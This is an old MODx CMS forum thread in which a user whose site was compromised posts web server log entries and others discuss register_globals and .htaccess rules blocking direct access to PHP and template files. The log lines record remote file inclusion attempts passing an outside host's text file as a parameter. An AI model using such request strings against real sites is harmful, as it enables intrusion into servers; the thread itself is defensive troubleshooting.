0.9.6.2 security problem with reflect snippets

Seriously, register_globals should ALWAYS be off. Your host might reconsider re-naming their service to Hackmysite.com.

No telling where the compromise took place, but I bet it was a script kiddie that recursively ran a script that tweaked any index.php or index.html files it found.

I think I may have found it in the log file. If turning off register_globals will fix this, that’s a huge help. I’m glad you guys are here to teach this stuff and answer questions without making me feel like an idiot.

(just when I thought I was getting the hang of it too!)

I found a bunch of entries similar to this:
64.191.102.117 - - [04/May/2009:00:39:52 -0400] "GET ///host/patch/modules/sync/export.php?export_to=http://www.sanagustin.edu.bo/modules/copyright.txt??? HTTP/1.1" 404 9867 "-" "Mozilla/5.0"

64.191.102.117 - - [04/May/2009:00:39:52 -0400] "GET /localprograms/onthemenu/recipes///host/patch/modules/sync/export.php?export_to=http://www.sanagustin.edu.bo/modules/copyright.txt??? HTTP/1.1" 404 9867 "-" "Mozilla/5.0"

So if I’m interpreting it right, this WASN’T the reflect exploit but just a simple hack of the register_globals, which I should always keep off, and they happened to find my development directory of MODx by luck?

That appears to be a XSS (cross-site scripting) hack of a script unrelated to MODx, yes. And yes this hack would probably only work if register_globals is set to ON (assuming that script is properly coded; if it’s not and the $export_to variable is meant to be passed as a GET var and not validated before use then the script is simply unsafe no matter what). Once a hacker is able to run scripts as if they were on your server they can do anything that you as a PHP user can do, so they could infect/view/edit/add/delete any file in your account.

To avoid exploiting php files in the asset directory like done here, wouldn’t it make sense to protect direct access to other .php and .tpl files in the asset directory by putting this into a assets/.htaccess file:

# Restrict direct access to script file types and templates
<FilesMatch "\.(php|tpl)$">
Order allow,deny
Deny from all
</FilesMatch>

I pointed this out in the post http://modxcms.com/forums/index.php/topic,39656.msg239745.html#msg239745 before coming across this post.

Henrik

Quote from: hwmaier at Sep 11, 2009, 06:16 AM

To avoid exploiting php files in the asset directory like done here, wouldn’t it make sense to protect direct access to other .php and .tpl files in the asset directory by putting this into a assets/.htaccess file:

# Restrict direct access to script file types and templates
<FilesMatch "\.(php|tpl)$">
Order allow,deny
Deny from all
</FilesMatch>

I pointed this out in the post http://modxcms.com/forums/index.php/topic,39656.msg239745.html#msg239745 before coming across this post.

Henrik

This could be useful as a patch, but not everyone who uses MODx runs an Apache server so using an alternative file extension for all executable includes is probably a more secure option.

It would definitely not hurt with a ht.access in there as in root and manager
that just would need to be re-named!

Erase Re-wind... http://modxcms.com/forums/index.php/topic,30850.msg187396.html#msg187396
zorry ZAP!

Quote from: mrhaw at Sep 11, 2009, 04:30 PM

Erase Re-wind... http://modxcms.com/forums/index.php/topic,30850.msg187396.html#msg187396
zorry ZAP!

Sorry? What for? Useful info deserves multiple links.

I have some module and other PHP files in my assets directory that need to be loaded in a browser, so this method wouldn’t work well for me (without another .htaccess file in my modules directory anyway). But it would certainly be helpful for some folks. I do think that the most foolproof method of avoiding improper include exploits is to use something like ".inc" extensions instead of ".php" for all files that should never be loaded independently in a browser, but that will take a concerted effort to implement and may not be practical for third-party extensions (TinyMCE, etc.).

And of course any file shipped with a .php extension had better be hardened against XSS attacks (or it shouldn’t exist).

Yeah!
Well one thing new to this thread --->
Quote from: mrhaw

Burp to malicious scripts #htaccess - http://bit.ly/GAEvm and #modx http://bit.ly/4nW89N

If we must tolerate legitimate direct-access php files in the assets dir, then one could change the match in a way that it at least removes access to .inc.php and .class.php files:

<FilesMatch "\.(inc.\php|class.\php|tpl)$">
Order allow,deny
Deny from all
</FilesMatch>

This will protect most PHP files and is better than nothing. I agree that it won’t be a solution for non-Apache servers but again it’s better to have that file in the distro than not.

Combine that with a convention to name non-direct php files either .inc.php or .class.php, which is the case for most files I found in the distro.

Quote from: hwmaier at Sep 12, 2009, 12:16 AM

If we must tolerate legitimate direct-access php files in the assets dir...

We probably shouldn’t, but the Evo directory structure is one of those legacy Etomite things that probably should be changed but would break too much to do so.

Quote from: hwmaier at Sep 12, 2009, 12:16 AM

Combine that with a convention to name non-direct php files either .inc.php or .class.php, which is the case for most files I found in the distro.

If we’re going to rename files, then why not just rename them all to .inc and be done with it? They can still be included and executed via another script, but they won’t be executable via browser no matter what. This would work whether or not the server is Apache, although I think we’d still need a rule to block access to all .inc files.